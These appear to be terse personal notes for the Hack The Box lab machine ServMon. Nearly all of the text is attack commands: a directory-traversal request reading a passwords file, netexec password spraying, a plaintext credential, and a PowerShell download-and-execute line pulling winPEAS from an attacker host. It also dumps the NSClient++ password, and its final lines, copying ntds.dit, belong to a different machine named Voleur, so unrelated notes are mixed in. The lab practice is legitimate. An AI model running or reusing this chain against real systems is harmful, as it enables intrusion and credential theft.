ServMon

#htb #windows #ftp #nsclient #smb #netexec #privesc #writeup

ftp 10.10.10.184

anonymous

searchsploit NVMS

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt

netexec smb 10.10.10.184 -u 'Nathan' -p passwords.txt

netexec smb 10.10.10.184 -u 'Nadine' -p passwords.txt

Nadine \ L1k3B1gBut7s@W0rk

netexec ssh 10.10.10.184 -u 'Nathan' -p passwords.txt

netexec ssh 10.10.10.184 -u 'Nadine' -p passwords.txt

ssh nadine@10.10.10.184

Para usar scp entre ssh windows y linux :

scp -r Nadine@10.10.10.184:/C:/RecData /mnt/Windows/Hacking/HackTheBox/Machines/ServMon/content/

powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/winPEAS.ps1')

cmd /c "C:\Program Files\NSClient++\nscp.exe" --version

nscp web -- password --display

ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443

scp -P 2222 -i id_rsa svc_backup@127.0.0.1:'/mnt/c/IT/Third-Line Support/Backups/Active Directory' /mnt/Windows/Hacking/Academias/HackTheBox/Machines/Voleur/content/

scp -P 2222 -i id_rsa svc_backup@127.0.0.1:'/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit' /mnt/Windows/Hacking/Academias/HackTheBox/Machines/Voleur/content/